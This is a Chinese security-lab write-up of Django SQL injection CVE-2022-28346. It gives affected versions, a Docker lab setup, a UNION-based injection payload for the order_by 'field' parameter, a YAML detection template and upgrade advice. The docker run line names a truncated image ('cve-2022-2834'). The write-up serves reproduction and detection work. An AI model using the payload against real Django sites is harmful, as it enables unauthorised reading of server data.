Django SQL注入漏洞CVE-2022-28346-漏洞文库小世界-安全文库-NGC660 安全实验室

Django SQL注入漏洞CVE-2022-28346

0x01漏洞描述

Django 组件存在 SQL 注入漏洞,该漏洞是由于对 QuerySet.order_by()中用户提供数据的过滤不足,攻击者可利用该漏洞在未授权的情况下,构造恶意数据执行 SQL 注入攻击,最终造成服务器敏感信息泄露。利用方式:不需要用户认证 ,属于高危漏洞。

0x02影响范围

  • 4.0 <= Django < 4.0.4
  • 3.2 <= Django < 3.2.13
  • 2.2 <= Django < 2.2.28

0x03环境搭建

1、本地

(建议使用docker,本地可能会出现很多问题)
下载
https://github.com/DeEpinGh0st/CVE-2022-28346
初始化

1.python manage.py makemigrations
2.python manage.py migrate
3.访问http://x.x.x.x:8000/

2、docker

docker pull s0cke3t/cve-2022-28346:latest

m_e793fd8d251319436b97aad34022174a_r

docker run --name Django -d -p 8080:8000 s0cke3t/cve-2022-2834

直接访问http://ip:8080/ ,成功搭建。

m_86abd3022c4637f8812d11aeaeab6fa3_r

0x04漏洞复现

1、
访问http://ip:8080/demo

m_b993266c9f5a56f0830d13fcfe34fd45_r

2、
poc:

/demo/?field=demo.name" FROM "demo_user" union SELECT "1",sqlite_version(),"3" --

成功查询数据库版本

m_7a50287562b0bf2e01ef0df43b655d79_r

0x05 poc检测

POC:

params: []
name: Django SQL注入漏洞
set:
  r1: randomInt(800000000, 1000000000)
rules:
- method: GET
  path: /demo/?field=
  headers: {}
  body: ""
  search: ""
  followredirects: false
  expression: response.status == 200 && response.body.bcontains(bytes("Amoount of
    users"))
- method: GET
  path: /demo/?field=demo.name" FROM "demo_user" union SELECT "1",MD5('{{r1}}'),"3"
    --
  headers: {}
  body: ""
  search: ""
  followredirects: false
  expression: response.status == 200 && response.body.bcontains(bytes(substr(md5(string(r1)),0,
    31)))
groups: {}
detail:
  author: ""
  links: []
  description: ""
  version: ""

m_f209ddb15eb38a1577cf098b8501d6bf_r

0x06 修复建议

官方已发布安全版本
下载地址:https://www.djangoproject.com/download/

请登录后发表评论

    请登录后查看回复内容